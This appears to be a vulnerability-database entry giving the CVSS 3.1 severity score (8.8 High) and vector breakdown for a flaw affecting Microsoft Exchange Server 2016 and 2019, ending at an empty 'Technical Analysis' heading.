8.8 High
Impact Score:
5.9
Exploitability Score:
2.8
Vector:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector (AV):
Network
Attack Complexity (AC):
Low
Privileges Required (PR):
Low
User Interaction (UI):
None
Scope (S):
Unchanged
Confidentiality (C):
High
Integrity (I):
High
Availability (A):
High

General Information

Vendors

  • microsoft

Products

  • exchange server 2016,
  • exchange server 2019
Technical Analysis